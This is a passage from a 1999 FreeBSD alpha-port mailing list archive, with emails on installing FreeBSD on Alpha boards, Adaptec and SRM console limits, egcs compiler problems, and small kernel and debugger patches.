for ; Thu, 15 Apr 1999 05:52:15 -0700 (PDT) (envelope-from erik@habatech.no) Received: from freebsd.habatech.no ([62.92.133.2]) by post.bgnett.no (8.8.8/8.8.8) with ESMTP id OAA05599; Thu, 15 Apr 1999 14:49:27 +0200 (CEST) (envelope-from erik@habatech.no) From: erik@habatech.no Message-ID: X-Mailer: XFMail 1.3 [p0] on FreeBSD X-Priority: 3 (Normal) Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 8bit MIME-Version: 1.0 In-Reply-To: Date: Thu, 15 Apr 1999 14:54:48 +0200 (CEST) To: Scot Elliott Subject: Re: Installing FreeBSD on 164SX board Cc: freebsd-alpha@FreeBSD.ORG Sender: owner-freebsd-alpha@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org On 15-Apr-99 Scot Elliott wrote: > Yes - my mistake - QLogic is what I meant rather than Symbiosis - sorry. > I haven't yet installed FreeBSD on my Alpha, but I suspect that if I did, > then I'd try to arrange a boot from a small IDE drive, but use the Adaptec > card once the kernel was loaded. > This sounds like a good idea. Now I just have to figure out how to do it. Probably a great step closer to a working solution, now. But I am always open for input from users who actually installed FreeBSD on such a system. ---------------------------------- E-Mail: erik@habatech.no Date: 15-Apr-99 Time: 14:52:50 This message was sent by XFMail ---------------------------------- To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-alpha" in the body of the message From owner-freebsd-alpha Thu Apr 15 6: 4:52 1999 Delivered-To: freebsd-alpha@freebsd.org Received: from duke.cs.duke.edu (duke.cs.duke.edu [152.3.140.1]) by hub.freebsd.org (Postfix) with ESMTP id AAE4714CCF; Thu, 15 Apr 1999 06:04:49 -0700 (PDT) (envelope-from gallatin@cs.duke.edu) Received: from grasshopper.cs.duke.edu (grasshopper.cs.duke.edu [152.3.145.30]) by duke.cs.duke.edu (8.9.1/8.9.1) with ESMTP id JAA10966; Thu, 15 Apr 1999 09:02:27 -0400 (EDT) Received: (from gallatin@localhost) by grasshopper.cs.duke.edu (8.9.3/8.9.1) id JAA92573; Thu, 15 Apr 1999 09:02:25 -0400 (EDT) (envelope-from gallatin@cs.duke.edu) From: Andrew Gallatin MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Date: Thu, 15 Apr 1999 09:02:24 -0400 (EDT) To: "Gary Palmer" Cc: freebsd-alpha@FreeBSD.ORG Subject: Re: Ignore previous problem w/buildworld In-Reply-To: <37505.924142617@noop.colo.erols.net> References: <37505.924142617@noop.colo.erols.net> X-Mailer: VM 6.43 under 20.4 "Emerald" XEmacs Lucid Message-ID: <14101.58021.305498.377970@grasshopper.cs.duke.edu> Sender: owner-freebsd-alpha@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org Gary Palmer writes: > > Ignore the previous problem I posted where buildworld was seeing > coredumps. Seems that I had a bad kernel build. A new kernel has fixed > the problem. Now running on an egcs world & kernel without noticable > problems. You may want to test any backups you've made with an EGCS built dump. For me, an egcs built dump seems to produce corrupt dumps. Building the same sources with gcc yields a dump which produces usable dumps. I've been unable to figure out why. Drew ------------------------------------------------------------------------------ Andrew Gallatin, Sr Systems Programmer http://www.cs.duke.edu/~gallatin Duke University Email: gallatin@cs.duke.edu Department of Computer Science Phone: (919) 660-6590 To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-alpha" in the body of the message From owner-freebsd-alpha Thu Apr 15 8:14:21 1999 Delivered-To: freebsd-alpha@freebsd.org Received: from swp5.gs.com (swp5.gs.com [192.246.9.39]) by hub.freebsd.org (Postfix) with ESMTP id E2C5014D24 for ; Thu, 15 Apr 1999 08:14:11 -0700 (PDT) (envelope-from Wally.Koscielny@gs.com) Received: from swp5.gs.com (root@localhost) by swp5.gs.com with ESMTP id LAA13660 for ; Thu, 15 Apr 1999 11:11:50 -0400 (EDT) Received: from nbcppsh02.wan.gs.com ([199.29.246.34]) by swp5.gs.com with ESMTP id LAA13649 for ; Thu, 15 Apr 1999 11:11:49 -0400 (EDT) Received: from nbcppsh01.wan.gs.com (nbcppsh01.wan.gs.com [138.8.220.34]) by nbcppsh02.wan.gs.com (8.9.1a/8.9.0/dmzpo1) with ESMTP id LAA17722 for ; Thu, 15 Apr 1999 11:12:02 -0400 (EDT) Received: from gsny24e.et.gs.com (gsny24e.et.gs.com [138.8.115.34]) by nbcppsh01.wan.gs.com (8.9.1a/8.9.0/postoffice1) with ESMTP id LAA12680 for ; Thu, 15 Apr 1999 11:11:47 -0400 (EDT) Received: by gsny24e.et.gs.com with Internet Mail Service (5.0.1460.8) id <2ZHX5QQC>; Thu, 15 Apr 1999 11:11:45 -0400 Message-ID: From: "Koscielny, Wally" To: freebsd-alpha@freebsd.org Subject: Alpha video cards Date: Thu, 15 Apr 1999 11:11:43 -0400 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.0.1460.8) Content-Type: text/plain Sender: owner-freebsd-alpha@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org Can I use an Intense 3D VooDoo 6 MB card with my 21164 alpha and FreeBSD ? Thanks, WK To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-alpha" in the body of the message From owner-freebsd-alpha Thu Apr 15 8:50:56 1999 Delivered-To: freebsd-alpha@freebsd.org Received: from gate.keisu.t.u-tokyo.ac.jp (ns06.t.u-tokyo.ac.jp [133.11.68.1]) by hub.freebsd.org (Postfix) with SMTP id 8AC9514D7D for ; Thu, 15 Apr 1999 08:50:52 -0700 (PDT) (envelope-from simokawa@sat.t.u-tokyo.ac.jp) Received: (qmail 79345 invoked from network); 15 Apr 1999 15:48:31 -0000 Received: from sylph.sat.t.u-tokyo.ac.jp (10.6.1.20) by ns06.t.u-tokyo.ac.jp with SMTP; 15 Apr 1999 15:48:31 -0000 Received: from ett.sat.t.u-tokyo.ac.jp (ett.sat.t.u-tokyo.ac.jp [10.6.1.30]) by sylph.sat.t.u-tokyo.ac.jp (Postfix) with ESMTP id 11C332DAB0; Fri, 16 Apr 1999 00:48:29 +0900 (JST) Received: from ett.sat.t.u-tokyo.ac.jp by ett.sat.t.u-tokyo.ac.jp (8.9.2/sat-V0.6) id AAA77168; Fri, 16 Apr 1999 00:48:15 +0900 (JST) Date: Fri, 16 Apr 1999 00:48:13 +0900 Message-ID: <14102.2621.961081.71582J@ett.sat.t.u-tokyo.ac.jp> From: Hidetoshi Shimokawa To: dfr@nlsystems.com Cc: gallatin@cs.duke.edu, freebsd-alpha@freebsd.org, obrien@NUXI.com Subject: Re: EGCS and Alpha builds In-Reply-To: In your message of "Tue, 13 Apr 1999 20:18:09 +0100 (BST)" References: <14099.10351.647510.43847V@ett.sat.t.u-tokyo.ac.jp> User-Agent: Wanderlust/0.9.7 (Everything She Wants) SEMI/1.13.2 (Mikawa) FLIM/1.12.5 (Hirahata) MULE XEmacs/21.2 (beta9) (Athena) (i386-unknown-freebsd3.1) X-Face: OE([KxWyJI0r[R~S/>7ia}SJ)i%a,$-9%7{*yihQk|]gl}2p#"oXmX/fT}Bn7:#j7i14gu$ jgR\S*&C3R/pJX wrote: > The backtrace code in DDB is somewhat fragile. It has to parse the > function prologue to figure out where the return address is. I expect egcs > has changed the prologue. GDB does something similar; hopefully it will > be fixed in gdb-4.18. Thanks for the hint. The prologue has changed. Egcs uses 'subq/addq' to manipulate stack pointer instead of 'lda'. I made an adhoc fix for DDB/GDB. Don't you mind my commiting this DDB fix to the tree? (warning supression included) Index: db_trace.c =================================================================== RCS file: /pub/FreeBSD-CVS/src/sys/alpha/alpha/db_trace.c,v retrieving revision 1.2 diff -u -r1.2 db_trace.c --- db_trace.c 1998/06/27 15:37:42 1.2 +++ db_trace.c 1999/04/15 06:05:07 @@ -25,12 +25,9 @@ static void parse_proc(db_expr_t addr, struct alpha_proc* frame) { - db_sym_t sym; + c_db_sym_t sym; db_expr_t func; db_expr_t junk, pc, limit; - int frame_size; - int reg_mask; - int got_frame; frame->pcreg = -1; frame->reg_mask = 0; @@ -50,7 +47,13 @@ ins.bits = *(u_int32_t*) pc; if (ins.memory_format.opcode == op_lda && ins.memory_format.ra == 30) { + /* gcc 2.7 */ frame->frame_size += -ins.memory_format.offset; + } else if (ins.operate_lit_format.opcode == op_arit + && ins.operate_lit_format.function == op_subq + && ins.operate_lit_format.rs == 30) { + /* egcs */ + frame->frame_size += ins.operate_lit_format.literal; } else if (ins.memory_format.opcode == op_stq && ins.memory_format.rb == 30 && ins.memory_format.ra != 31) { @@ -66,7 +69,6 @@ void db_stack_trace_cmd(db_expr_t addr, boolean_t have_addr, db_expr_t count, char *modif) { - struct alpha_proc proc; db_addr_t callpc; db_addr_t frame; @@ -82,10 +84,9 @@ } while (count--) { - u_int64_t *actframe; - char * name; + const char * name; db_expr_t offset; - db_sym_t sym; + c_db_sym_t sym; struct alpha_proc proc; sym = db_search_symbol(callpc, DB_STGY_ANY, &offset); Here is a gdb fix. --- alpha-tdep.c.orig Thu Apr 8 21:24:45 1999 +++ alpha-tdep.c Fri Apr 16 00:44:29 1999 @@ -502,6 +502,10 @@ epilogue is reached. */ break; } + else if ((word & 0xfff00fff) == 0x43c0053e) /* subq $sp,n,$sp */ + { + frame_size += word & 0xff; + } else if ((word & 0xfc1f0000) == 0xb41e0000 /* stq reg,n($sp) */ && (word & 0xffff0000) != 0xb7fe0000) /* reg != $zero */ { -- /\ Hidetoshi Shimokawa \/ simokawa@sat.t.u-tokyo.ac.jp PGP public key: finger -l simokawa@sat.t.u-tokyo.ac.jp To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-alpha" in the body of the message From owner-freebsd-alpha Thu Apr 15 10:33:10 1999 Delivered-To: freebsd-alpha@freebsd.org Received: from smtp1.gte.net (smtp1.gte.net [207.115.153.30]) by hub.freebsd.org (Postfix) with ESMTP id 2F85A14FDF for ; Thu, 15 Apr 1999 10:33:06 -0700 (PDT) (envelope-from orthoefe@gte.net) Received: from localhost (dt021nec.tampabay.rr.com [24.92.8.236]) by smtp1.gte.net with SMTP ; id MAA24339 Thu, 15 Apr 1999 12:30:40 -0500 (CDT) Date: Thu, 15 Apr 1999 13:34:18 -0400 (EDT) From: Joe Orthoefer X-Sender: orthoefe@localhost To: "Koscielny, Wally" Cc: freebsd-alpha@freebsd.org Subject: Re: Alpha video cards In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-alpha@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org No. It shouldn't cause any problems if it's plugged into a slot, but you won't gain anything from it, leave it in one of your x86 boxes. The linux glide libraries that are used under linux emulation for accelerated 3D are have not been ported to the alpha platform. On Thu, 15 Apr 1999, Koscielny, Wally wrote: > Can I use an Intense 3D VooDoo 6 MB card with my 21164 alpha and FreeBSD ? > > Thanks, > WK > > > > To Unsubscribe: send mail to majordomo@FreeBSD.org > with "unsubscribe freebsd-alpha" in the body of the message > To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-alpha" in the body of the message From owner-freebsd-alpha Thu Apr 15 10:57:30 1999 Delivered-To: freebsd-alpha@freebsd.org Received: from feral.com (feral.com [192.67.166.1]) by hub.freebsd.org (Postfix) with ESMTP id 21EB414C35 for ; Thu, 15 Apr 1999 10:57:24 -0700 (PDT) (envelope-from mjacob@feral.com) Received: from localhost (mjacob@localhost) by feral.com (8.8.7/8.8.7) with ESMTP id KAA04715 for ; Thu, 15 Apr 1999 10:54:35 -0700 Date: Thu, 15 Apr 1999 10:54:35 -0700 (PWT) From: Matthew Jacob X-Sender: mjacob@feral-gw Reply-To: mjacob@feral.com To: alpha@freebsd.org Subject: egcs ready for alpha? Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-alpha@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org wonder of wonders, last night's buildworld went all the way through on alpha. Can I take this to mean that it's safe to do an installworld? To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-alpha" in the body of the message From owner-freebsd-alpha Thu Apr 15 11: 7:54 1999 Delivered-To: freebsd-alpha@freebsd.org Received: from dingo.cdrom.com (castles506.castles.com [208.214.165.70]) by hub.freebsd.org (Postfix) with ESMTP id 460AC14C35 for ; Thu, 15 Apr 1999 11:07:46 -0700 (PDT) (envelope-from mike@dingo.cdrom.com) Received: from dingo.cdrom.com (localhost [127.0.0.1]) by dingo.cdrom.com (8.9.3/8.8.8) with ESMTP id LAA03139; Thu, 15 Apr 1999 11:04:53 -0700 (PDT) (envelope-from mike@dingo.cdrom.com) Message-Id: <199904151804.LAA03139@dingo.cdrom.com> X-Mailer: exmh version 2.0.2 2/24/98 To: mjacob@feral.com Cc: alpha@freebsd.org Subject: Re: egcs ready for alpha? In-reply-to: Your message of "Thu, 15 Apr 1999 10:54:35 PDT." Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Date: Thu, 15 Apr 1999 11:04:53 -0700 From: Mike Smith Sender: owner-freebsd-alpha@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org > > wonder of wonders, last night's buildworld went all the way through on > alpha. Can I take this to mean that it's safe to do an installworld? Dunno. The last snapshot I installed (yesterday) has broken NFS. You might want to keep an old kernel lying around at least. 8) -- \\ Sometimes you're ahead, \\ Mike Smith \\ sometimes you're behind. \\ mike@smith.net.au \\ The race is long, and in the \\ msmith@freebsd.org \\ end it's only with yourself. \\ msmith@cdrom.com To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-alpha" in the body of the message From owner-freebsd-alpha Thu Apr 15 11:31:28 1999 Delivered-To: freebsd-alpha@freebsd.org Received: from feral.com (feral.com [192.67.166.1]) by hub.freebsd.org (Postfix) with ESMTP id 24CCD14BD5 for ; Thu, 15 Apr 1999 11:31:25 -0700 (PDT) (envelope-from mjacob@feral.com) Received: from localhost (mjacob@localhost) by feral.com (8.8.7/8.8.7) with ESMTP id LAA04849; Thu, 15 Apr 1999 11:28:27 -0700 Date: Thu, 15 Apr 1999 11:28:26 -0700 (PWT) From: Matthew Jacob X-Sender: mjacob@feral-gw Reply-To: mjacob@feral.com To: Mike Smith Cc: alpha@freebsd.org Subject: Re: egcs ready for alpha? In-Reply-To: <199904151804.LAA03139@dingo.cdrom.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-alpha@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org > > > > wonder of wonders, last night's buildworld went all the way through on > > alpha. Can I take this to mean that it's safe to do an installworld? > > Dunno. The last snapshot I installed (yesterday) has broken NFS. You > might want to keep an old kernel lying around at least. 8) > Yes- but with Matt Dillon's two micro patches (reproduced below) things seem happier. Clearly the buildworld wouldn't have worked because the source is actually on my SS1000. It was more a question of can I now give up the gcc2.7.2.1 compiler and expect to keep being able to work on the Fibre Channel driver (a daily ritual). -matt Index: vm_page.c =================================================================== RCS file: /home/ncvs/src/sys/vm/vm_page.c,v retrieving revision 1.129 diff -u -r1.129 vm_page.c --- vm_page.c 1999/04/05 19:38:29 1.129 +++ vm_page.c 1999/04/15 18:27:08 @@ -1491,11 +1491,13 @@ if ((frag = base & ~(DEV_BSIZE - 1)) != base && (m->valid & (1 << (base >> DEV_BSHIFT))) == 0 ) { +#if 0 pmap_zero_page_area( VM_PAGE_TO_PHYS(m), frag, base - frag ); +#endif } /* @@ -1509,11 +1511,13 @@ if ((frag = endoff & ~(DEV_BSIZE - 1)) != endoff && (m->valid & (1 << (endoff >> DEV_BSHIFT))) == 0 ) { +#if 0 pmap_zero_page_area( VM_PAGE_TO_PHYS(m), endoff, DEV_BSIZE - (endoff & (DEV_BSIZE - 1)) ); +#endif } /* @@ -1576,11 +1580,13 @@ (m->valid & (1 << i)) ) { if (i > b) { +#if 0 pmap_zero_page_area( VM_PAGE_TO_PHYS(m), b << DEV_BSHIFT, (i - b) << DEV_BSHIFT ); +#endif } b = i + 1; } To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-alpha" in the body of the message From owner-freebsd-alpha Thu Apr 15 11:31:40 1999 Delivered-To: freebsd-alpha@freebsd.org Received: from panzer.plutotech.com (panzer.plutotech.com [206.168.67.125]) by hub.freebsd.org (Postfix) with ESMTP id 0DEC814BD5 for ; Thu, 15 Apr 1999 11:31:33 -0700 (PDT) (envelope-from ken@panzer.plutotech.com) Received: (from ken@localhost) by panzer.plutotech.com (8.9.3/8.8.5) id MAA03966; Thu, 15 Apr 1999 12:28:05 -0600 (MDT) From: "Kenneth D. Merry" Message-Id: <199904151828.MAA03966@panzer.plutotech.com> Subject: Re: Installing FreeBSD on 164SX board In-Reply-To: from "erik@habatech.no" at "Apr 15, 1999 2:54:48 pm" To: erik@habatech.no Date: Thu, 15 Apr 1999 12:28:05 -0600 (MDT) Cc: scot@london.virgin.net, freebsd-alpha@FreeBSD.ORG X-Mailer: ELM [version 2.4ME+ PL43 (25)] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-freebsd-alpha@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org erik@habatech.no wrote... > > On 15-Apr-99 Scot Elliott wrote: > > Yes - my mistake - QLogic is what I meant rather than Symbiosis - sorry. > > I haven't yet installed FreeBSD on my Alpha, but I suspect that if I did, > > then I'd try to arrange a boot from a small IDE drive, but use the Adaptec > > card once the kernel was loaded. > > > This sounds like a good idea. Now I just have to figure out how to do it. > Probably a great step closer to a working solution, now. > But I am always open for input from users who actually installed FreeBSD on > such a system. Just as a warning -- I don't think the Adaptec driver is functional on the Alpha yet. Justin has put a 7891 board in the Alpha in my office, and intends to get the driver working, but he hasn't gotten around to it yet. Ken -- Kenneth Merry ken@plutotech.com To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-alpha" in the body of the message From owner-freebsd-alpha Thu Apr 15 11:37:22 1999 Delivered-To: freebsd-alpha@freebsd.org Received: from picnic.mat.net (picnic.mat.net [206.246.122.133]) by hub.freebsd.org (Postfix) with ESMTP id DF0C314BD5 for ; Thu, 15 Apr 1999 11:37:17 -0700 (PDT) (envelope-from chuckr@picnic.mat.net) Received: from localhost (chuckr@localhost) by picnic.mat.net (8.9.3/8.8.5) with ESMTP id OAA61193; Thu, 15 Apr 1999 14:31:37 -0400 (EDT) Date: Thu, 15 Apr 1999 14:31:36 -0400 (EDT) From: Chuck Robey To: "Kenneth D. Merry" Cc: erik@habatech.no, scot@london.virgin.net, freebsd-alpha@FreeBSD.ORG Subject: Re: Installing FreeBSD on 164SX board In-Reply-To: <199904151828.MAA03966@panzer.plutotech.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-alpha@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org On Thu, 15 Apr 1999, Kenneth D. Merry wrote: > erik@habatech.no wrote... > > > > On 15-Apr-99 Scot Elliott wrote: > > > Yes - my mistake - QLogic is what I meant rather than Symbiosis - sorry. > > > I haven't yet installed FreeBSD on my Alpha, but I suspect that if I did, > > > then I'd try to arrange a boot from a small IDE drive, but use the Adaptec > > > card once the kernel was loaded. > > > > > This sounds like a good idea. Now I just have to figure out how to do it. > > Probably a great step closer to a working solution, now. > > But I am always open for input from users who actually installed FreeBSD on > > such a system. > > Just as a warning -- I don't think the Adaptec driver is functional on the > Alpha yet. Justin has put a 7891 board in the Alpha in my office, and > intends to get the driver working, but he hasn't gotten around to it yet. Ken, I tought the Adaptec problem was because the SRM console didn't grok the Adaptec, not because the FreeBSD kernel didn't. Could you give a few words on that? Thanks ----------------------------+----------------------------------------------- Chuck Robey | Interests include any kind of voice or data chuckr@picnic.mat.net | communications topic, C programming, and Unix. 213 Lakeside Drive Apt T-1 | Greenbelt, MD 20770 | I run picnic (FreeBSD-current) (301) 220-2114 | and jaunt (Solaris7). ----------------------------+----------------------------------------------- To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-alpha" in the body of the message From owner-freebsd-alpha Thu Apr 15 11:38:30 1999 Delivered-To: freebsd-alpha@freebsd.org Received: from duke.cs.duke.edu (duke.cs.duke.edu [152.3.140.1]) by hub.freebsd.org (Postfix) with ESMTP id 3CF8B14BD5 for ; Thu, 15 Apr 1999 11:38:22 -0700 (PDT) (envelope-from gallatin@cs.duke.edu) Received: from grasshopper.cs.duke.edu (grasshopper.cs.duke.edu [152.3.145.30]) by duke.cs.duke.edu (8.9.1/8.9.1) with ESMTP id OAA18946; Thu, 15 Apr 1999 14:35:35 -0400 (EDT) Received: (from gallatin@localhost) by grasshopper.cs.duke.edu (8.9.3/8.9.1) id OAA97973; Thu, 15 Apr 1999 14:35:33 -0400 (EDT) (envelope-from gallatin@cs.duke.edu) From: Andrew Gallatin MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Date: Thu, 15 Apr 1999 14:35:32 -0400 (EDT) To: mjacob@feral.com Cc: Mike Smith , alpha@FreeBSD.ORG Subject: Re: egcs ready for alpha? In-Reply-To: References: <199904151804.LAA03139@dingo.cdrom.com> X-Mailer: VM 6.43 under 20.4 "Emerald" XEmacs Lucid Message-ID: <14102.12407.996679.381089@grasshopper.cs.duke.edu> Sender: owner-freebsd-alpha@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org Matthew Jacob writes: > It was more a question of can I now give up the gcc2.7.2.1 compiler and > expect to keep being able to work on the Fibre Channel driver (a daily > ritual). The only problem I've seen that could be a show-stopper for you is the fact that /sbin/dump produces corrupt dumps when built with egcs. You might want to keep a dump binary laying around. I'm not working on this (my plate it far too full right now) and I'd very much appreciate it if somebody could look into it.. Drew ------------------------------------------------------------------------------ Andrew Gallatin, Sr Systems Programmer http://www.cs.duke.edu/~gallatin Duke University Email: gallatin@cs.duke.edu Department of Computer Science Phone: (919) 660-6590 To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-alpha" in the body of the message From owner-freebsd-alpha Thu Apr 15 11:47:36 1999 Delivered-To: freebsd-alpha@freebsd.org Received: from panzer.plutotech.com (panzer.plutotech.com [206.168.67.125]) by hub.freebsd.org (Postfix) with ESMTP id F0F3C15275 for ; Thu, 15 Apr 1999 11:47:29 -0700 (PDT) (envelope-from ken@panzer.plutotech.com) Received: (from ken@localhost) by panzer.plutotech.com (8.9.3/8.8.5) id MAA04069; Thu, 15 Apr 1999 12:43:35 -0600 (MDT) From: "Kenneth D. Merry" Message-Id: <199904151843.MAA04069@panzer.plutotech.com> Subject: Re: Installing FreeBSD on 164SX board In-Reply-To: from Chuck Robey at "Apr 15, 1999 2:31:36 pm" To: chuckr@picnic.mat.net (Chuck Robey) Date: Thu, 15 Apr 1999 12:43:35 -0600 (MDT) Cc: erik@habatech.no, scot@london.virgin.net, freebsd-alpha@FreeBSD.ORG X-Mailer: ELM [version 2.4ME+ PL43 (25)] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-freebsd-alpha@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org Chuck Robey wrote... > On Thu, 15 Apr 1999, Kenneth D. Merry wrote: > > > erik@habatech.no wrote... > > > > > > On 15-Apr-99 Scot Elliott wrote: > > > > Yes - my mistake - QLogic is what I meant rather than Symbiosis - sorry. > > > > I haven't yet installed FreeBSD on my Alpha, but I suspect that if I did, > > > > then I'd try to arrange a boot from a small IDE drive, but use the Adaptec > > > > card once the kernel was loaded. > > > > > > > This sounds like a good idea. Now I just have to figure out how to do it. > > > Probably a great step closer to a working solution, now. > > > But I am always open for input from users who actually installed FreeBSD on > > > such a system. > > > > Just as a warning -- I don't think the Adaptec driver is functional on the > > Alpha yet. Justin has put a 7891 board in the Alpha in my office, and > > intends to get the driver working, but he hasn't gotten around to it yet. > > Ken, I tought the Adaptec problem was because the SRM console didn't > grok the Adaptec, not because the FreeBSD kernel didn't. Could you give > a few words on that? There are two different issues here: 1. SRM doesn't understand Adaptec boards. This means that your boot disk can't be on an Adaptec controller. 2. FreeBSD's Adaptec driver hasn't yet been made to work on the Alpha. I think this is probably a bus_dma/bus_space type problem. Justin fully understands the issues, and has intended to make the driver work on Alphas, but just hasn't gotten around to it. Until he does, you won't be able to configure the Adaptec driver in your kernel and have it talk to an Adaptec board. Once Justin fixes the Adaptec driver to work on alpha boxes, you'll be able to put Adaptec controllers in your Alpha machines. You can't, however, boot off an Adaptec board since SRM doesn't talk to them. One odd thing that happened when we stuck the 7891 (it's a 64-bit board) board in the Miata was that SRM wouldn't load while the board was in a 64-bit slot on the primary PCI bus. It gave some error about an unrecognized SCSI controller or something along those lines. It did work when we moved the board onto the secondary, 32-bit PCI bus. Ken -- Kenneth Merry ken@plutotech.com To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-alpha" in the body of the message From owner-freebsd-alpha Thu Apr 15 12: 1:10 1999 Delivered-To: freebsd-alpha@freebsd.org Received: from duke.cs.duke.edu (duke.cs.duke.edu [152.3.140.1]) by hub.freebsd.org (Postfix) with ESMTP id B367F14CE7 for ; Thu, 15 Apr 1999 12:00:57 -0700 (PDT) (envelope-from gallatin@cs.duke.edu) Received: from grasshopper.cs.duke.edu (grasshopper.cs.duke.edu [152.3.145.30]) by duke.cs.duke.edu (8.9.1/8.9.1) with ESMTP id OAA19541; Thu, 15 Apr 1999 14:58:06 -0400 (EDT) Received: (from gallatin@localhost) by grasshopper.cs.duke.edu (8.9.3/8.9.1) id OAA98011; Thu, 15 Apr 1999 14:58:03 -0400 (EDT) (envelope-from gallatin@cs.duke.edu) From: Andrew Gallatin MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Date: Thu, 15 Apr 1999 14:58:03 -0400 (EDT) To: "Kenneth D. Merry" Cc: chuckr@picnic.mat.net (Chuck Robey), erik@habatech.no, scot@london.virgin.net, freebsd-alpha@FreeBSD.ORG Subject: Re: Installing FreeBSD on 164SX board In-Reply-To: <199904151843.MAA04069@panzer.plutotech.com> References: <199904151843.MAA04069@panzer.plutotech.com> X-Mailer: VM 6.43 under 20.4 "Emerald" XEmacs Lucid Message-ID: <14102.13297.626836.703289@grasshopper.cs.duke.edu> Sender: owner-freebsd-alpha@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org Kenneth D. Merry writes: > > One odd thing that happened when we stuck the 7891 (it's a 64-bit board) > board in the Miata was that SRM wouldn't load while the board was in a > 64-bit slot on the primary PCI bus. It gave some error about an > unrecognized SCSI controller or something along those lines. It did work > when we moved the board onto the secondary, 32-bit PCI bus. Congratulations, you have an old, broken-pyxis Miata which has the dma bug (you can't do a dma read across an 8k page boundary). The 64-bit slots are directly on the primary PCI bus, the 32-bit slots are behind a PPB which breaks up dma transactions so that they don't cross page boundaries. On machines with the DMA bug, the SRM console has been hacked to prevent users from putting boards into the 64-bit slots which might trigger the bug (eg, anything that they're not certain WON'T trigger the bug). If a cam driver won't trigger this bug, and you want to put the card in a 64-bit slot (and you may want, if you have a 21052 ppb) you can turn this feature off on a per-card basis by using 'set pci_device_override ' at the srm console prompt (before moving the board). Cheers, Drew ------------------------------------------------------------------------------ Andrew Gallatin, Sr Systems Programmer http://www.cs.duke.edu/~gallatin Duke University Email: gallatin@cs.duke.edu Department of Computer Science Phone: (919) 660-6590 To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-alpha" in the body of the message From owner-freebsd-alpha Thu Apr 15 12:51:29 1999 Delivered-To: freebsd-alpha@freebsd.org Received: from herring.nlsystems.com (nlsys.demon.co.uk [158.152.125.33]) by hub.freebsd.org (Postfix) with ESMTP id 41C3614C35 for ; Thu, 15 Apr 1999 12:51:22 -0700 (PDT) (envelope-from dfr@nlsystems.com) Received: from localhost (dfr@localhost) by herring.nlsystems.com (8.9.3/8.8.8) with ESMTP id UAA68595; Thu, 15 Apr 1999 20:53:27 +0100 (BST) (envelope-from dfr@nlsystems.com) Date: Thu, 15 Apr 1999 20:53:27 +0100 (BST) From: Doug Rabson To: Hidetoshi Shimokawa Cc: gallatin@cs.duke.edu, freebsd-alpha@freebsd.org, obrien@NUXI.com Subject: Re: EGCS and Alpha builds In-Reply-To: <14102.2621.961081.71582J@ett.sat.t.u-tokyo.ac.jp> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-alpha@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org On Fri, 16 Apr 1999, Hidetoshi Shimokawa wrote: > At Tue, 13 Apr 1999 20:18:09 +0100 (BST), > Doug Rabson wrote: > > The backtrace code in DDB is somewhat fragile. It has to parse the > > function prologue to figure out where the return address is. I expect egcs > > has changed the prologue. GDB does something similar; hopefully it will > > be fixed in gdb-4.18. > > Thanks for the hint. The prologue has changed. Egcs uses 'subq/addq' to > manipulate stack pointer instead of 'lda'. I made an adhoc fix for > DDB/GDB. Don't you mind my commiting this DDB fix to the tree? > (warning supression included) The patch looks correct, please go ahead and commit it. Thanks for spending the time - most of my time is being used up by the new-bus project right now. -- Doug Rabson Mail: dfr@nlsystems.com Nonlinear Systems Ltd. Phone: +44 181 442 9037 To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-alpha" in the body of the message From owner-freebsd-alpha Thu Apr 15 14:28:56 1999 Delivered-To: freebsd-alpha@freebsd.org Received: from swp5.gs.com (swp5.gs.com [192.246.9.39]) by hub.freebsd.org (Postfix) with ESMTP id 5F0481519B for ; Thu, 15 Apr 1999 14:28:53 -0700 (PDT) (envelope-from Wally.Koscielny@gs.com) Received: from swp5.gs.com 